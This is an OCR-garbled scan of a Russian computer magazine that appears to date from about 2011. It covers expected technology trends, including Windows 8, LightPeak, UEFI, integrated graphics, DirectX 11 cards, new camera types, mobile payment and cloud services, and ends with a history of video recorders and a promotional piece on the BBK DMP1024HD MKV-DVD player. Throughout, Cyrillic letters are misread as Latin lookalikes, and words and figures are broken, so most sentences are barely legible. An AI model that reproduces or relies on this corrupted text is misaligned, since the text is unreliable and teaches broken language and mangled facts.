no/ib30BaTe/m Windows. K TOMy we 
Microsoft MHTerpMpyeT cboio HOByio 
OC c Mara3MHOM npM/ioweHMM, a Bpe- 
ma 3arpy3KM KOMnbiOTepa coxpaTMT- 
cn npaKTMHecKM ao Hy/i^. E/iaroAapa 
cymecTBeHHO y/iyHiueHHOM noAAepw- 
Ke ceHcopHbix AMcn/ieeB 3Ta onepa- 
AMOHHa^ CMdeMa 6yAeTxopowo 
npMcnoco6/ieHa k pa6oie Ha n/iaH- 
meTHbix nK. Ha/iMHMe pa3/iMHHbix 
AaTHMKOB n03B0/lMT 3BTOMaTMHeCKM 
MeHflTb flpKOCTb 3KpaHa B COOTBeT- 
CTBMM C BHeiilHMM OCBeiAeHMeM, 
a TaK>Ke OTiuiioHaTb ero, ec/iM no/ib30- 
BaTe/ib otxoamt ot KOMnbiOTepa. 


12. HoBbie 
nopibi, dojibine 
naMmn 

OnTMHecKMM HHTepcfieMc LightPeak 
c nponycKHOM cnoco6HOCTbio ao 
10 T6mt/c no3BO/meT noAK/nonaTb 
JIK)6bie yCTpOMCTBa — OT MOHMTOpa 
AO MbiiiJM. y USB 3.0 CKopocTb BABoe 
h n>Ke, ho ero npeMMyiAecTBO — Ha- 
/lMHMe o6paTHOM COBMeCTMMOCTM. 

HoBafl CMCTeMa UEFI, no3BO/ifliOLAafl 

MCn0/lb30BaTb BMHHeCTepbl oOteMOM 
6o/iee 2 T6aMT, HaHHeT BbiTecHATb 
BIOS (cm. CTp. 72). SSD-HaKoni/iTe/iM 
k KOHpy roAa noAemeBeiOT ao ypoB- 
hh 50 py6/ieM 3a mra6aMT. HoBbie 
CTaHAapTbi 6ecnpoBOAHoro o6MeHa 
AaHHbiMM (TaKMe KaK WiGig n 
TransferJet 2.0) yrpo>KaiOT cyme- 
CTBOBaHmo Bluetooth. 


13. Mmerpauiin Bnfleonpo- 
ueccopoB n MHoronflepHOCTb 

TeHAeHpM^ o6-beAMHeHMA CPU m GPU b oahom HMne Ha6npaeT 060- 
poTbi: KOMnaHM^ Intel MHTerpnpoBa/ia rpacfmHecKoe AApo b Kpi/i- 
cra/ui npopeccopa Sandy Bridge, a MH>KeHepbi AMD co3Aa/iM aHa/io- 
rMHHoe peiueHMe noA Ha3B3HMeM Fusion. npeMMyiAecTBO hoboto 
noAxoAa b tom, hto no/ib30BaTe/ib, KOTopoMy AOcraTOHHO cpeAHMx 
B03M0)KH0CTeM MHTerpMpoBaHHoro rpac|)MHecKoro KOHTpO^/iepa, 
3KOHOMMT AeHbrM M 3^eKTp03Hepmi0. TaKMM o6pa30M, npOM3BOAM- 
Te/iM 33/io>km/im nepBbrn KaMeHb b Ae/io C03AaHM5i cmctcm Ha oahom 
KpMcra/uie, b KOTopbie noMMMO peHTpa^bHoro m rpac|DMHecKoro npo- 
peccopoB 6yAyT MHTerpi/ipoBaHbi v\ cjDyHKUMM MaTepMHCKOM n^aTbi. 
Bctpomb 12 np,ep b cbom cepBepHbie nnnbi, KOMnaHM^ Intel, Ka>KeT- 
cfl, noAo6pa^acb k npeAe^aM B03MO>KHoro npw co3A3hmm MHoro- 
^AepHbix CMCTeM. OAHaKO KOHKypeHTbi B^npe AMD npeA/iaraiOT 
cbom cepBepHbie npopeccopbi c ko^mhcctbom AAep ao 16. Otbct 
Intel — HMn Knights Corner c 50 ^ApaMM, M3roTOB/ieHHbiMM no 22-Ha- 
HOMeTpoBOMy Texnpopeccy. TeM BpeMeHeM npoM3BOAMTe/iM npor- 
paMM onTMMM3MpyiOT cbom npoAyKTbi A-n^ pa6oTbi c MHoro^AepHbi- 
mm HMnaMM, BeAbTO/ibKO noc^e 3Toro npM^o>KeHM5i no^ynaiOT npM- 
pocT ckopoctm m ApyrMe npeMMyiAecTBa HOBeMiuMx CPU. 


15. MoiMHbie 
BMfleOKapTbl 
c DirectX 11 

TpexKpaTHoe yBe/iMHeHMe acJaclDeK- 
tmbhoctm o>KMAaeTC5i y HOBbix rpa- 
cjDMHecKMx KapT NVIDIA Fermi. Bmccto 

HblHeiilHMX AByX TM T3 CjDJI O n C Ha OAMH 

BaTT HOBoe BMAeoflApo Kepler ao^>k- 

HO AGMOHCTpMpOB3Tb LUeCTb. 3 tM 
^Apa NVIDIA 6yAeT npoM3BOAMTb 
no 28-HaHOMeTpoBOMy Texnpopeccy 
(AMD M3roTa B/iMBaeT cbom GPU c 
noAAep>KKOM DirectX 11 no 32-HaHO- 
MeTpOBOM TeXHO/lOTMM). K TOMy >Ke 
MHo>KecTBeHHbie 6 ^okm Tecce/i^pMM 
OTBenaiOT 3a 6o/iee 6bicTpbie BbiHMc- 
zieH M5i m o6ecneHMBaiOT 6o^ee Ka- 
necTBeHHoe OTo6pa>KeHMe o6-beK- 
tob — no KpaMHeM Mepe, b Mrpax, 
noAAep>KMBaioiAMx DirectX 11. 
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n:n^ HOBOCTM TeHfleHLiMM 




GOTO M BMUEO 


3D-t|30T0KaMepbl 

Xoth Bee 6ojibiue npon3BO- 
flme/ieM c|30T0KaMep CHadwa- 
K)T CBOI/1 npOflyKTbl 3D-B03 - 
mowhoctamm, opeHMTb ycnex 
noAodHoro mara TpyflHo. noKa 
mvieeTCfl He Tax y>K MHoro noA- 
XOA^LAHX yCTpOMCTB flHfl npO- 
CMOTpa depeoc|30Torpac|3MM, 

Aa i/i Heo 6 xoAMMOCTb npi/iod- 
peiaTb ajih 3 Toro cnepi/iajib- 
Hbie OHKM flBJlfleTCfl Jll/ILLIHMM 
npenaTCTBMeM. Eme op,m He- 
AociaTOK — npi/iBneKaie/ib- 
HOCTb CTaTI/IHHbIX KapTI/IH B 
(fcopiviaTe 3D cymecTBeHHO 
MeHbLUe, HeM BI/IAeOC|)l/IJlbMOB 
i/ini/i KOMnbiOTepHbix Mrp. 


18. GPS, HDR 
ii fl pyriie 

HOBOBBe/ieHllfl 

C noMOiAbio MHoroHMC/ieHHbix ao- 
nO/lHMTe/lbHblX CfiyHKAMM npOM 3 BO- 
Ame/iM KOMnaKTHbix KaMep 6 opiOT- 
cu 3 a BHMMaHMe cJ)OTOuio 6 MTeueM. 
Tax, MHTerpMpoBaHHbie BMAeonpo- 
eKTOpbl n 03 B 0 UUI 0 T MOMeHTa/lbHO 
npocMaipMBaib CAeuaHHbie chmmkm 
Ha creHe mum 3 KpaHe. Btopom 
AMcn/ien Ha cjDpoHTaubHOM naHeuM 
noMoraeT AeuaTb aBTonopipeTbi. 

A BcrpoeHHau cfiyHKAMu HDR AaeT 
B 03 M 0 >KH 0 CTb co 3 AaBaTb BnenaTuu- 
loiAMe KaApbi c pacwMpeHHbiM ah- 
HaMMHecKMM Anana 30 H 0 M. KoMnac 

M AaTHMKM ABI/1>KeHMfl AOnOUHUIOT 

GPS-npMeMHMK, 3anMCbiBaioiAMM 
KOopAMHaTbi CHAToro o 6 beKTa. 


19. Hefloponie 
cwcTeMHbie xaiviepbi 

ripoM 3 BOAHTe/iM AeuaiOT CTaBKy Ha KOMnaKTHbie cjDOToannapaTbi 
CO CMeHHblMM o 6 beKTMBaMM. HOBbie M 0 A 6 / 1 M CMCTeMHbIX KaMep 
npeAHa 3 HaneHbi f\nf\ MOMeHTaubHbix chmmkob: Bee 6 oubwee 
KO/iMHecTBO 3 /ieMeHTOB ynpaBueHMu nepeMemaeTcu Ha ceHcop- 
hnm AMcnueM, AHaroHa^b KOToporo cocraBuueT He MeHee Tpex 
AHDMMOB. npi /1 Heo 6 xOAMMOCTM n 0 Ub 30 BaTeUb CMO>KeT 6 blCTpO 
Bbl 3 B 3 Tb MX A/ 1 U HaCTpOMKM napaMeipOB CbeMKM. HOBbie MOAe/lM 
6 yAyT npeA/iaraib cjDOKycMpoBKy npM KacaHMM axpaHa, a TaK>Ke 
B 03 M 0 >KH 0 CTb AOdyna k Macro Mcno/ib 3 yeMbiM onAMUM nepe 3 
maBHoe MeHio KaMepbi. KpoMe Toro, 6 yAyTyuyHweHbi m c^hkamm 
BMAeo 3 anMCM: CTaHAapTOM A-na AaHHoro Kuacca cjDOToannapaTOB 
CTaHyT cbeMKa poumkob b cjDopMaie Full HD m 3 anMCb CTepeo 3 ByKa. 
MaipMUbi yBeuMHaTCu ao pa 3 Mepa MaTpMA « 3 epKauoK» HanaubHoro 
ypoBHu. B/iaroAapa OTKa 3 y OT 3 epKaua mum 3 yM-o 6 beKTMBa, nacTMH- 
ho pacnouaraiomerocu b Kopnyce, ra 6 apMTbi hobmhok cyiAecTBeHHO 
yMeHbwaTcu, KaK m AeHbi Ha hmx: CTOMMOCTb cMdeMHbix KaMep 
CHM 3 MTCA Ha 20-25 %. Hto >Ke KacaeTCu yAo 6 dBa Mcnoub 30 BaHMu, 
to KOMnaKTHbie c|DOToannapaTbi 3 H 3 HMTeubHO npeBoexoAUT no 
AaHHOMy noKa 3 aTeuio KpynHora 6 apMTHbie « 3 epKauKM». 


c «3epKa/iOK» 

Hm oamh npoM 3 BOAMTe/ib coBpeMeH- 
Hbix DSLR-c|DOToannapaTOB He OTKa- 
3 biBaeTC 5 i OTOCHameHMA mx cjay h k 14 m - 
en CbeMKM po/iMKOB b cfiopMaTe Full 
HD. npM 3TOM B CpaBHMTe/lbHO He- 
6 oubwoM Kopnyc«3epKauKM» nepe- 
MemaeTcu Bee 6 oubwe B03M0>KH0CTeM 
npoc|DeccMOHaubHbix BMAeoKaMep — 
HanpMMep, pa3beMbi pj\n noAKuione- 
HMU BHeiuHero MMKpOCjDOHa. V\ Bee 
name >KM3Hb cfiOTorpaclDy o 6 uemaiOT 
noBopoTHO-OTKMAHbie A^cnueM. 
OAHOBpeMeHHO C 3TMM He 6 blBaUblMM 
TeMnaMM pa3BMBaeTcu m pbiHOK aK- 
ceccyapoB: cnepMaubHbie WTaTMBbi, 
CMCTeMa Steady-Cam pj\n CbeMKM 
Ha xoAy m pa3UMHHbie npMcnoco 6 ue- 
hm f\ auu HanueHHoro KpenueHMu 
CT3HOBUTCU Bee AeweBue. 


YMHblM nOMOLUHI/IK 

ECJIM npM CMJlbHOM npM 6 /lM>KeHMM OdbeKT CbeMKM BAPyr 
nponaAaeT M 3 noun 3 peHMa, Ha>KaTMeM oahom KHonKM mo>k- 
ho npocMOTpeTb odiAyio KapTMHKy m HaBecTM paMKy 3 yMM- 
poBaHMa Ha Hy>KHoe MecTO. 


16. KanecTBeH- 


Hbie «KOMnaKTbi» 


KOMnaKTHbie c|DOToannapaTbi K/iacca 
High-End nepe>KMBaiOT pocT nony- 
uapHOCTM. CeroAHa ohm ocHaiAaiOTca 
MaTpMpaMM, pa3Mep KOTOpblX nOHTM 
Ha 40% 6o/ibwe, neM y npe>KHMx mo- 
Ae/ieM, a CBeTOCMUbHbie o6beKTMBbi 
no3BOuaiOT Ae/iaTb OTUMHHbie chmmkm 
A a>Ke npM n/ioxoM ocBeiAeHHOCTM 6e3 
MCnO/l b30B3HMa BCnbllUKM. Yao 6 ctbo 
pa6oTbi c KaMepoM noBbimaeTca 3a 
cneT npMMeHeHMa ceHcopHbix m Bbico- 
KOKOHTpacTHbix AMOLED-AMcnueeB — 
3 tmm Aopome MOAeuM OT/iMHaiOTca ot 
cbomx 6ouee 6iOA>KeTHbix KOHKypeH- 
TOB. KTOMy >Ke CfiyHKAMOHaUbHOCTb 
hobmhok paciuMpaeTca 3a cneT Aono/i- 
HMTeubHbix aKceccyapoB — bhciuhmx 
BMAOMCK aTe/ieM, BcnbiiueK, Teue- 
KOHBepTepOB M M3KpO/lMH3. 


17. Mera- 

3yM flJlfl 

jiK)6mejieM 

1/lAeTUM penb 0 KaMepax 
TonoBoro Kuacca Bridge 
mum MMHMaTiopHbix Mera3y- 
Max, npoM3BOAMTeuM peiuM- 
TeubHO noBbiiuaiOT onTMHec- 
Koe yBeuMHeHMe b cbomx cjao- 
TOKaMepax. TaK, y>Ke ceroAHa 
y HeKOTopbix MOAeueM oho ub- 
uaera 35-KpaTHbiM, a k KOHpy 
3Toro roAa MoryT noaBMTbca 
cfiOToannapaTbi c o6beKTMBaMM, 
onTMHecKoe yBeuMHeHMe KOTopbix 
AOCTMTHeT 3HaHeHMa 40. flua KOM- 
naKTHbix Mera3yMOB CTaHAapTHbiM 
Ha ceroAHawHMM AeHb CHMTaera 
15-KpaTHoe yBeuMHeHMe. 
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nPOrPAMMbl H MHTEPHET 




Mo6mibHayi 

onjiaia 

OnnaTa TOBapoB n yc/iyr c no- 
Moiubfo Mo6mibHoro Te/iec|30Ha 
b 6yflyiueM 6yAeT Hcno/ib30- 
BaTbca Bee Lui/ipe, oAHaxo epy\- 
Horo noAXOAa k peiiieHi/ifo ash- 
Horo Bonpoca noKa He cymecT- 
ByeT. KpoMe Toro, 3aHaciyK) 
n/iaie>KHbie ci/icieMbi nepecnyp 
c/io>KHbi. BpjiAJin b 6nn>KaMLuee 
BpeMa Koni/iHecTBo no/ib30Baie- 
jiefi cepBMcoB Mo6i/inbHbix n/ia- 
Tewen Aa>Ke b 3anaAHbix cipa- 
Hax npeBbicm 1-2%. BbixoAOM 
M3 nojioweHMfl Mor/ia 6bi CTaTb 
pa3pa6oTKa obmero ciaHAapia, 
a TaK>Ke Mcno/ib30BaHMe TexHo- 
jiotmm NFC aha ayieHTM(f3MKa- 
AMM, nOA 06 HOM TOMy, hto o6e- 
LAaiOT npeAno>KMTb Google 
Nexus S m Apple iPhone 5. 


23 . HeAoporoM 

MOftl/IJlbHbM 

MHTepHeT 

y>xe b KOHpe 2010 roAa y poccnn- 
ckmx coTOBbix onepaiopoB noaBM- 
ziMCb TapncjDHbie naaHbi m onpHM 
c yn/iaTOM MeHee 200 py6aen 3a 
6e3/lMMMTHblM M 06 nabHblM AOdyn 
B MHTepHeT C MaKCMMa/lbHO AO- 
CTynHOM CKopocTbfo — npaBAa, 
c orpaHMHeHMeM TpacjDnxa, tohho 
T ax >xe, xax sto 6biao paHbiae c 
— ' o6blHHblM npOBOAHblM AOCTynOM. 

C pacnpocTpaHeHMeM b Poccmm 
ceTeM 3G m poctom nncaa mx noab- 
30BaTeaen ueHbi 6yAyT CHM>xaTbca. 
K xoHAy 2011 roAa b xpynHbix ro- 
pOAaX CTOMMOCTb 6e3^MMMTHOTO 
Mo6nabHoro AOCTyna 6yAeT Ma/io 
OT/iMHaTbCii ot pacpeHox Ha npo- 
boahom M HTepHeT. 


24 . Bee h Be 3 fle 
flOdyriHO nepe3 
«o6jiaKO» 


Bee 6oabwe xoMnaHnn npeAaa- 
raxyrycayrn no Mcno/ib30B3HMX) 
«o6aaHHbix» cay>x6, nocpeACTBOM 
xoTopbix mo>xho He mnbxo o6Me- 
HMBaTbc^ cjDaM/iaMM Me>XAyAByMa 
X0MnbX)TepaMM, ho m MAeHTMc|DM- 
AMpoBaTb c e6a c ax)6oro l"l K m/im 
npoAO^>XMTb HanaTyx) Mrpy c toto 
> xe MecTa, rAe ocraHOBMaca. 
l/lHTepHeT-c/iy>x6bi o6ecneHMBa- 
K)T CMHXpOHM3aAMX) ASHHblX, 
xpaHfliAMxcfl Ha TeaecfioHe 
m HoyT6yxe. 


21 . Mara3MHbi 
no fljia Bcex OC 

BMpTya/ibHbie npnaaBxn p,nt\ ToproB- 
an nporpaMMaMM paewnpaxyrea m 
ncnoab3yxyrca Ha pa3/iMHHbixycT- 
poMCTBax. Hanaro 3TOMy noao/xnaa 
xoMnaHMA Apple, npoAax/maa b cbo- 
eM App Store no A-na CMapTc|DOHOB 
m naaHweTOB. Tenepb m Microsoft 
pewM/ia MHTerpMpoBaTb b 6yAyiAyx) 
Windows 8 cncTeMy noA Ha3BaHneM 
Windows Store. Amazon OTxpoeT 
CBOM Niara3MH npHaOXeHMM TOabXO 
A/i a ycTpoMCTB Ha 6a3e OC Android, 
a b Kindle Store y>xe npeAaaraxyrca 
npoAyxTbi A/ia I1K, pemeHMM c iOS, 
Android m Windows Phone. Mozilla 
m Samsung HaHHyT npoAa>xy xpocc- 
n/iaTcfiopMeHHbix npnao>xeHHH — 
HanpMMep, A/ia Te/ieBM3opoB m 
M o6M/lbHblX Te/iec|)OHOB. 


22. YMHbie nporpaMMbi 
3aMeHBT «)Kejie30» 

B/iaroAapa cneuMa/iM3npoBaHHbiM npnao/xeHnaM Mo6nabHbie an- 
napaTbi yMexyr noHTM Bee: ohm CTaHOBaTca ny/ibraMn f\y p,j la n K, 
TeaeBM3opa Man My3bixaabHoro peHTpa b AOMawHen ceTM m 3aMe- 
Hax)T xax)H OTaBTOMo6Maa m an AOMawHen ABepn. BMAeonaTbi 
nepe3 TeaecfioH c Mcno/ib30BaHneM Skype nan FaceTime 3aBoeBbi- 
Bax)T nonyaapHOCTb 6aaroAapa BbicoxoMy xanecTBy CBa3M m hm3- 
xom ctommoctm pa3roBopa — Tenepb mo>xho OTxa3aTbca ot HoyT- 
6yxa m Be6-xaMepbi. FloBoe noxoaeHMe npnao>xeHHH A/ia pa6oTbi 
c noTOXOBbiMM AaHHbiMM nocbiaaeT TeaenepeAann m BMAeo no 3a- 
npocy HenocpeACTBeHHO Ha Mo6nabHoe ycrponcTBO. BaaroAapa 
B03MO>XHOCTn noAxax/HeHna HexoTopbix coBpeMeHHbix annapaTOB 
nepe3 HDMI x TeaeBM3opy ohm npeBpamaxyrca b CBoero poAa pe- 
CMBepbi pMcfipoBoro TeaeBMAeHMa. OoTorpacjDMM 6yAyT 3arpy>xaTb- 
ca HenocpeACTBeHHO c Mo6MabHoro Teaec|)OHa b Facebook, Flickr 
m npoHMe copMaabHbie ceTM m cepBMCbi. C noMOiAbX) cooTBeTCTBy- 
x/iamx npMao>xeHMM mo>xho 6yAeT HanpaMyx) OTnpaBaaTb CAeaaH- 
Hbie CHMMXM Ha COBMeCTMMbie npMHTepbl, 6e3 Heo6xOAMMOCTM MX 
xonMpoBaHMa Ha n K. rioaBMTca Aa>Ke B03MO>XHOCTb cxaHMpoBa- 
HMa c noMOiAbX) Mo6MabHoro Teaec|30Ha. 


25. 3KOHOMMB 
6jiaroAapa 
COAMa/lbHblM 
CKliflKaM 

CeroAHa Ha 3anaAe 6biCTpo 3aBoe- 
BblBaiOT pbIHOX AMCfipOBbie CMCTeMbl 
npeAOCTaBaeHMa cxmaox, o6-beAM- 
HeHHbie c CMCTeMOM reoaoxaAMM 
Ha 6a3e CMapTcfioHa. llpoBaMAepbi 
TMna Foursquare, Gettings Man 
Facebook Deals nepe3 CMapTcfioH 
coo6iAax)T noab30BaTeax), xaxne 
MHTepecHbie npeAao>xeHMa MMexyrca 
b HaxoAaiAMxca no6aM30CTM Mara3M- 
Hax, 6apax nan pecTopaHax. Ecan 
oh noceTMT xaxoe-TO M3 3tmx 3aBe- 
AeHMM, to CMO>xeT 3aperMCTpnpo- 
BaTbca TaM m noayHMTb cxMAxy npn 
noxynxe nan onaaTe ycayr. 
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TexHOiioriiMHan 



3a cboio 6ojiee ve/w 50-jiemHioio ucmopuio eudeon/ieepbi ywe CMeHu/iu HecKo/ibKo 
noKO/ieHuu u npeBpamu/iucb b Hacmompue My/ibmuMeduuHbie KOM6auHbi. 


B Haaajie 50-x toaob nponuioro 

CTOJieTHH BHaeOMarHHTO(J)OHOB 
erne He cymecTBOBajio, a eauH- 
CTBeHHBIM HOCHTeJieM, KOTOpblH 
6 bui cnoco6eH coxpaHHTb BH#eoH30- 
6paxeHHe c nocjieAyiomHM ero boc- 
npOH3BeaeHHeM, aBjiaaacb KHHOiuieH- 
Ka. BocnpoH3BecTH HH(J)opMau;HK) c Hee 
MOvKHO 6 bdio tojibko c noMOHi,BK) cne- 
PHajiBHoro npoeicropa. IlepBBiH BH^eo- 
MarHHTO(J)OH , npeaHa3HaHaBLiiMHCH b 
nepByio oaepem> jum Hy>Ka TejieBH^e- 
hhh, 6bui co3flaH 14 MapTa 1956 roaa 
aMepHKaHCKOH (Jmpmoh Ampex. 

KAjKflOMY no BUflEOMArHUTOcDOHY 

Yxce b 1969 ro#y 6 blji pa3pa6oTaH nep- 
bbih 6bitoboh 3anHCBiBaiomHH Bimeo- 
MarHHTO(J)OH C C06CTBeHHBIM (J)Op- 
MaTOM BH,aeo3anHCH. PoflOHaaajibHHK 


3thx ycTpoftcTB, cjrnpMa Ampex, KTO- 
My BpeMeHH yxe OTOimia Ha 3aflHHH 
iuiaH. TaKHM o6pa30M, b 6opb6y 3a 
MaccoBoro npOH3BOflHTejia BKjHona- 
jiocb Bee 6ojiBine hobbix BemaopOB. 
K Hanajiy 1976 ro^a KOMnaHHa JVC 
BBinycxaeT hobbih 4>opMaT BH#eo3a- 
nncH VHS (Video Home System), ko- 
TopBiil aepe3 onpeflejieHHoe BpeMa 
CTaHOBHTCB HOBBIM 06menpHHHTBIM 
CTaH^apTOM MaccoBoro pBiHKa. 

«0flTMHECK0E» BVflVLllEE 

B 90-x ro,aax npoimioro Bexa mie- 
HOHHBie BHaeoMarHHTOc))OHbi ycTynHjiH 
MecTO DVD-npOHrpBiBaTejiHM. U,H(J)po- 
Boe xaaecTBO h y^odHBie hochtcjih 
HH(J) opMau;HH cpa3y 3aBoeBajiH nony- 
jiBpHOCTB y niHpOKoro Kpyra noTpedn- 
Tejieii, a npOH3BOflHTejiH DVD-iuieepOB 


Bee 6ojiBme coBepmeHCTBOBajin ycT- 
pOHCTBa B CTOpOHy yBeJIHHeHHH KOJIH- 
necTBa noAaepxHBaeMBix (J>opMaTOB. 
CeroAHH 3Ta TexHOJiorHa aBjiaeTca 
caMOH pacnpocTpaHeHHOH Ha Macco- 
bom pBiHKe, aa>xe HecMOTpa Ha to hto 
nepexoa Ha BH^eo bbicokoto pa3pe- 
meHHB CTaji ohcbm^hbim TpenaoM Ha- 
mero BpeMeHH h Bee 6ojiee BOCTpedo- 
BaHHBiMH CTaHOBHTCH Blu-ray-HJieepBi 
h HD-MeAHanponrpBiBaTejiH. Ozmaxo 
noTeHHHajT DVD eme aanexo He Hcaep- 
naH, h npHMep TOMy — ho Baa jiHHen- 
xa MKV-DVD-njieepOB ot xoMna- 
hhh BBK, KOTOpBie no3BOJiHK)T npo- 
CMaTpHBaTB BHaeO BBICOXOH aeTKOCTH 

c o6bihhbix DVD. nepBaa Moaejib 3 toh 
cepHH BBK DMP1024HD noaBHTca 
Ha pOCCHHCKOM pbiHKe yace b nepBOM 
KBapTaae 2011 ro^a. 


1897 [1906 [1924 1956 


KaTOAHO-uyneBasi Tpy6Ka 

OepflMHaHfl BpayH 
1/1 flwoHaTaH UeH- 
HeK M 306 pe/ 1 M 
KaTOflHO-JiyHeByio 
TpydKy, to edb 
C 03 flaOM OCHOBy 
/laivmoBbix Te/ie- 
BM 30 p 0 B. 



TeJieBI13M0HHblM 



Maxc flMKMaH nepBbiM ncno/ib- 
30Bao KaTOAHO-oyneByio TpySxy, 
a TaK>Ke Tpy6Ky BpayHa ajia nepe- 
A3 hm ciaTMHHoro HepHO-6e/ioro 
M3o6pa>«eHMfl. 



riepeafl TpaHCiiamia 

LiloToaHAPy 

fl>K0Hy BawpAy 
nepBOMy yAa- 
/10Cb TpaHCJlM- 
poBaib Te/ie- 
BM3M0HH0e M30- 
6pa>KeHna Ha 
3 MeTpa. 1/livieH- 
HO 3T0T0 ne/io- 
Bexa npMHHTO 
cnmaTb otaom 
T eoeBMAeHMH. 




BiiAeoiviarHiiTO(|)OH 


Owpivia Ampex, 
3aHI/IMaBLLiaHCH 
1/iccoeAOBaHneM 
pemcipaTopa 

3 ByK 0 BblX CMTHa- 
jiob Ha MarHm- 
Hyio oeHTy, co3- 
Aa/ia nepBbm 
b Mwpe BMAeo- 
MarHMTOCjDOH 

Ampex-200. 
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peK/iaMa 


3B0JH0UMJ1 



BBK DMP1024HD no3BOJiaeT npocMaipi/iBaTb 
BM,qeo c DVD i/i HD-BM,qeoc| 3 aMJibi 


TEXHMHECKME XAPAKTEPI/ICTI/IKM 
BBK DMP1024HD 

noflflepjKMBaeMbie 

tjjopMaibi 

MKV (Matroska), H.264, 
MPEG-4, VOB, AVI, 
MPEG-1/2 PS (M2P, MPG), 
MPEG-2 Transport Stream 
(TS, M2TS, MTS), MP3, 
WMA, AAC, AC3, WAV, 
JPEG, Kodak Picture 

noflflepjKMBaeMbie 
Tlinbl flMCKOB 

CD, DVD, CD-R/RW, 
DVD-R/RW, DVD+R/RW 

1/lHTepcpeiiCbi 

2x USB, HDMI (1.3), KOMno3HT- 
HblH/KOMnOHeHTHblH Bl/lfleO- 
BXOflbl, 141 /ICppOBOH OnTHHeCKHH/ 
KoaKCHanbHbm ayflHOBbixoflbi, 
ciepeoc|)OHHHecKHH ayflHOBbi- 
xofl, ayfli/iOBbixofl 5.1 

HacTOTHbiii Anana30H, Tu 

20-20 000 

Pa3Mepbi, MM/Bec, kt 

320x250x40/1,83 


HOBOE DblXAHME DVD 

CeroAHH CTaHAapT DVD riOAAep>KHBa- 
eTCH BCeMH KpynHbIMH npOH 3 BOAHTeJIH- 
mh 6bitoboh TexHHKH h 110. Ho Gjiaro- 
Aapa pacnpocTpaHeHHio nmpOKonojioc- 
Horo HHTepHeTa Bee 6 ojiBine jiiOAeii 
CKaHHBaiOT (J)HJTbMbI Ha ITK H 3 CeTH. 
HtoGbi noTOM npocMaTpHBaTb TaKOH 
KOHTeHT Ha TeJieBH 30 pe, HeoGxOAHMO 
jih6o npHo 6 pecTH ceTeBOH MeAHaruieep, 
JIH 60 nOAKJHOHHTb TeJieBH 30 p K ITK. 
Ho cyLixecTByeT Kareropira JiiOAeii, ko- 
Topbie npe^noHHTaiOT «BHpTyajibHOH» 
nepe^ane Aamibix H 3 HHTepHeTa Ha 
«$jieiHKy», a noTOM Ha TejieBH 30 p npn- 
BblHHblH (J)H 3 HHeCKHH HOCHTeJIb — 
OnTHHeCKHH AHCK. fljIH HHX JIOTHUeCKHM 

npoaojr>KeHHeM sbojhohhh DVD CTaji 
CTaH^apT Blu-ray, OAHaKO AajieKO He 
Bee roTOBbi miaTHTb Bbicoxyio peiiy 3 a 


Blu-ray- ahckh. KoMnatma BBK oahoh 
H3 nepBbix npeACTaBHjia Ha pbiHKe 
HOBbra MKV-DVD-njieep bbicokoto 
pa3pemeHHH BBK DMP1024HD, koto- 
pbiH cnoco6eH nponrpbiBaTb HD-BHAeo 
(jDopMaTa MKV, 3anHcaHHoe Ha o6biu- 
HbiH DVD. Ka3ajiocb 6bi, TaKue mieepbi 
AaBHO AOJDKHbi 6buiH 3aBoeBaTb nony- 
JIHpHOCTb, BCAb Bunco BbICOKOH UeTKO- 

cth yxe HeB03M0>KH0 npeacTaBUTb ce6e 
6e3 MKV: no CTaTHCTHKe BHAeocjiaHJibi 
c pacnmpeHHeM MKV hbjihiotch caMbi- 
MH CKaHHBaeMbIMH H 3 CeTH. OAHaKO 
AO ceroAHimiHero a hh takhx ycTpoiiCTB 
npaKTHuecKH He cynjecTBOBajio. Hobhh 
roieep ot BBK HBjiaeTCH ajibrepHaTH- 
BOH COBpeMeHHOMy npOHTpblBaTeJHO 
Blu-ray, ho cnoco6eH BOcnpOH3BO- 
Ahtb BHAeoc^aHJibi MKV He c AOporo- 
ctothahx Blu-ray- ahckob, a c caMbix 


pacnpocTpaHeHHbix h AOCTynHbix 
HOCHTejien — DVD. HtoGbi npOAe- 
MOHCTpHpOBaTb npeHMymecTBa Taxo- 
ro noAxoAa, BBK njiaHHpyeT npeAO- 
CTaBjiHTb b KOMiuieKTe c MKV- DVD - 
njieepaMH noAbopKy 4)hjibmob HD- 
KauecTBa. Xoth Ha ceroAHHinHHH AeHb 
DVD c HD-KOHTeHTOM b (J)opMaTe 
MKV noxa oco6o He pacnpocTpa- 
HeHbi, BbicoKoe KauecTBO no peHe 
o6biHHoro DVD, 6e3ycjiOBHO, o6ec- 
neuHBaeT hm noTeHiinaji atui npo- 
ABHXeHHH Ha pbIHKe. 

VHMBEPCAilbHAB OVHKUMOHAJlbHOCTb 

BBK DMP1024HD o6jiaAaeT KOMnaxr- 
hbimh ra6apHTaMH, cthjibhbim BHeni- 
hhm bhaom h noAAep>KHBaeT BOCnpO- 
H3BeAeHne Bcex coBpeMeHHbix bh- 
AeO(J)OpMaTOB. nOMHMO OnTHHeCKHX 
DVD BHAeOKOHTeHT BbICOKOH HCTKO- 
cth AJ ia nocjieAyiomero BOcnpOH3BeAe- 
hhh MoaceT 6biTb 3anHcaH Ha BHeniHHe 
HDD hjih «4>jieniKH», noAKjHonae- 
Mbie nocpeACTBOM USB-pa3BeMa. napa 
nopTOB USB 2.0 Ha Gokoboh naHejin 
no3BOJHHOT noACoeAHHHTb cpa3y ABa 
HOCHTeJIH HJIH OAHH BHeTITHHH HDD, 
TpeGyioiAHH nHTaHHH ot AByx pa3beMOB 
OAHOBpeMeHHO. npH 3TOM B HHCJie 
noAAepxcHBaeMbix iuieepOM cjiaHiiOBbix 
CHCTeM nOMHMO FAT32 npHcyrcTByeT 
h NTFS, hto CHHMaeT orpaHHueHira b 
o6i>eMe BocnpoH3BOAHMbix (^aiiJiOB, 
3anHcaHHbix Ha BHeniHHx HaKorarre- 
JMX. 3 t 0, HeCOMHeHHO, HBJHieTCH 6 ojib- 
niHM npeHMymecTBOM, Tax Kax HD- 
BHAeo, KaK H3BecTHO, TpeOyeTCH ao- 
CTaTOHHO mhoto MecTa Ha ahckc. 
CpeAH Apyrnx ocobeHHOCTeii BBK 
DMP1024HD OTMeTHM Taioxe mhoto- 
KaHajibHbiH ayAHOBbixoA 5.1CH u Ae- 
KOAepbi MHoroxaHajibHoro 3Byxa Dolby 
Digital, Dolby Pro Logic II h DTS. 


1969 

SONY U-MATIC 



Hana/io KacceTHbiM cpopiviaTaM 
nonowmi U-Matic ot KOMnam/iM 
Sony. B 1969 rofly 6bm npefl- 
CTaBneH nepBbm KacceTHbm npo- 
MrpbiBaienb flaHHoro cpopMaia. 
